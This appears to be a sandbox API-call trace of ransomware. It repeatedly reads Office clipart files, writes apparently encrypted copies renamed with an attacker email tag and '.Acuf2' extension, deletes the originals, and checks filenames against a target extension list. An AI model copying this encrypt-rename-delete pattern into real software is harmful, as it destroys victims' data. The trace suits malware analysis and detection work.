	[0258.458] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=1444) returned 1
	[0258.458] CloseHandle (hObject=0x33c) returned 1
	[0258.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20
	[0258.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0258.499] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.499] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0258.500] GetLastError () returned 0x0
	[0258.500] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x5a4, lpOverlapped=0x0) returned 1
	[0258.526] WriteFile (in: hFile=0x354, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0258.527] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.527] WriteFile (in: hFile=0x354, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.527] SetEndOfFile (hFile=0x354) returned 1
	[0258.547] CloseHandle (hObject=0x354) returned 1
	[0258.547] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.547] SetEndOfFile (hFile=0x35c) returned 1
	[0258.549] CloseHandle (hObject=0x35c) returned 1
	[0258.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 1
	[0258.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63
	[0258.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63
	[0258.550] lstrlenW (lpString=".doc") returned 4
	[0258.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.550] lstrlenW (lpString=".docx") returned 5
	[0258.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.550] lstrlenW (lpString=".pdf") returned 4
	[0258.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.550] lstrlenW (lpString=".xls") returned 4
	[0258.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.550] lstrlenW (lpString=".xlsx") returned 5
	[0258.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.551] lstrlenW (lpString=".ppt") returned 4
	[0258.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63
	[0258.551] lstrlenW (lpString=".zip") returned 4
	[0258.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.551] lstrlenW (lpString=".rar") returned 4
	[0258.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.551] lstrlenW (lpString=".bz2") returned 4
	[0258.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.551] lstrlenW (lpString=".7z") returned 3
	[0258.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63
	[0258.551] lstrlenW (lpString=".dbf") returned 4
	[0258.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63
	[0258.551] lstrlenW (lpString=".1cd") returned 4
	[0258.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63
	[0258.551] lstrlenW (lpString=".jpg") returned 4
	[0258.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63
	[0258.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63
	[0258.551] lstrlenW (lpString=".doc") returned 4
	[0258.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.551] lstrlenW (lpString=".docx") returned 5
	[0258.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.551] lstrlenW (lpString=".pdf") returned 4
	[0258.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.551] lstrlenW (lpString=".xls") returned 4
	[0258.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.552] lstrlenW (lpString=".xlsx") returned 5
	[0258.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.552] lstrlenW (lpString=".ppt") returned 4
	[0258.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63
	[0258.552] lstrlenW (lpString=".zip") returned 4
	[0258.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.552] lstrlenW (lpString=".rar") returned 4
	[0258.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.552] lstrlenW (lpString=".bz2") returned 4
	[0258.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.552] lstrlenW (lpString=".7z") returned 3
	[0258.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63
	[0258.552] lstrlenW (lpString=".dbf") returned 4
	[0258.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63
	[0258.552] lstrlenW (lpString=".1cd") returned 4
	[0258.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63
	[0258.552] lstrlenW (lpString=".jpg") returned 4
	[0258.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.552] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0258.552] lstrlenW (lpString="BS00136_.WMF") returned 12
	[0258.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0258.555] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2166) returned 1
	[0258.555] CloseHandle (hObject=0x358) returned 1
	[0258.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20
	[0258.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0258.555] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.555] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0258.556] GetLastError () returned 0x0
	[0258.556] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x876, lpOverlapped=0x0) returned 1
	[0258.557] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x880, lpOverlapped=0x0) returned 1
	[0258.558] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.558] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.558] SetEndOfFile (hFile=0x35c) returned 1
	[0258.558] CloseHandle (hObject=0x35c) returned 1
	[0258.558] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.558] SetEndOfFile (hFile=0x358) returned 1
	[0258.560] CloseHandle (hObject=0x358) returned 1
	[0258.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 1
	[0258.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63
	[0258.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63
	[0258.591] lstrlenW (lpString=".doc") returned 4
	[0258.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.591] lstrlenW (lpString=".docx") returned 5
	[0258.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.591] lstrlenW (lpString=".pdf") returned 4
	[0258.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.591] lstrlenW (lpString=".xls") returned 4
	[0258.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.591] lstrlenW (lpString=".xlsx") returned 5
	[0258.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.591] lstrlenW (lpString=".ppt") returned 4
	[0258.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63
	[0258.591] lstrlenW (lpString=".zip") returned 4
	[0258.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.591] lstrlenW (lpString=".rar") returned 4
	[0258.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.591] lstrlenW (lpString=".bz2") returned 4
	[0258.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.592] lstrlenW (lpString=".7z") returned 3
	[0258.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63
	[0258.592] lstrlenW (lpString=".dbf") returned 4
	[0258.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63
	[0258.592] lstrlenW (lpString=".1cd") returned 4
	[0258.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63
	[0258.592] lstrlenW (lpString=".jpg") returned 4
	[0258.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63
	[0258.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63
	[0258.592] lstrlenW (lpString=".doc") returned 4
	[0258.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.592] lstrlenW (lpString=".docx") returned 5
	[0258.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.592] lstrlenW (lpString=".pdf") returned 4
	[0258.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.592] lstrlenW (lpString=".xls") returned 4
	[0258.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.592] lstrlenW (lpString=".xlsx") returned 5
	[0258.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.592] lstrlenW (lpString=".ppt") returned 4
	[0258.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63
	[0258.592] lstrlenW (lpString=".zip") returned 4
	[0258.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.592] lstrlenW (lpString=".rar") returned 4
	[0258.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.592] lstrlenW (lpString=".bz2") returned 4
	[0258.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.593] lstrlenW (lpString=".7z") returned 3
	[0258.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63
	[0258.593] lstrlenW (lpString=".dbf") returned 4
	[0258.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63
	[0258.593] lstrlenW (lpString=".1cd") returned 4
	[0258.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63
	[0258.593] lstrlenW (lpString=".jpg") returned 4
	[0258.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.593] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0258.593] lstrlenW (lpString="BS00174_.WMF") returned 12
	[0258.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.598] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=8366) returned 1
	[0258.598] CloseHandle (hObject=0x220) returned 1
	[0258.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20
	[0258.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.598] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.598] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0258.599] GetLastError () returned 0x0
	[0258.599] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x20ae, lpOverlapped=0x0) returned 1
	[0258.600] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x20b0, lpOverlapped=0x0) returned 1
	[0258.601] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.601] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.601] SetEndOfFile (hFile=0x328) returned 1
	[0258.601] CloseHandle (hObject=0x328) returned 1
	[0258.601] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.601] SetEndOfFile (hFile=0x220) returned 1
	[0258.604] CloseHandle (hObject=0x220) returned 1
	[0258.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 1
	[0258.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63
	[0258.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63
	[0258.604] lstrlenW (lpString=".doc") returned 4
	[0258.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.604] lstrlenW (lpString=".docx") returned 5
	[0258.604] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.604] lstrlenW (lpString=".pdf") returned 4
	[0258.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.604] lstrlenW (lpString=".xls") returned 4
	[0258.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.604] lstrlenW (lpString=".xlsx") returned 5
	[0258.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.604] lstrlenW (lpString=".ppt") returned 4
	[0258.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63
	[0258.605] lstrlenW (lpString=".zip") returned 4
	[0258.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.605] lstrlenW (lpString=".rar") returned 4
	[0258.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.605] lstrlenW (lpString=".bz2") returned 4
	[0258.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.605] lstrlenW (lpString=".7z") returned 3
	[0258.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63
	[0258.605] lstrlenW (lpString=".dbf") returned 4
	[0258.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63
	[0258.605] lstrlenW (lpString=".1cd") returned 4
	[0258.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63
	[0258.605] lstrlenW (lpString=".jpg") returned 4
	[0258.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63
	[0258.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63
	[0258.605] lstrlenW (lpString=".doc") returned 4
	[0258.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.605] lstrlenW (lpString=".docx") returned 5
	[0258.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.605] lstrlenW (lpString=".pdf") returned 4
	[0258.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.605] lstrlenW (lpString=".xls") returned 4
	[0258.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.605] lstrlenW (lpString=".xlsx") returned 5
	[0258.605] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.605] lstrlenW (lpString=".ppt") returned 4
	[0258.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63
	[0258.606] lstrlenW (lpString=".zip") returned 4
	[0258.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.606] lstrlenW (lpString=".rar") returned 4
	[0258.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.606] lstrlenW (lpString=".bz2") returned 4
	[0258.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.606] lstrlenW (lpString=".7z") returned 3
	[0258.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63
	[0258.606] lstrlenW (lpString=".dbf") returned 4
	[0258.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63
	[0258.606] lstrlenW (lpString=".1cd") returned 4
	[0258.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63
	[0258.606] lstrlenW (lpString=".jpg") returned 4
	[0258.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.606] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0258.606] lstrlenW (lpString="BS00184_.WMF") returned 12
	[0258.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.607] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=4976) returned 1
	[0258.607] CloseHandle (hObject=0x220) returned 1
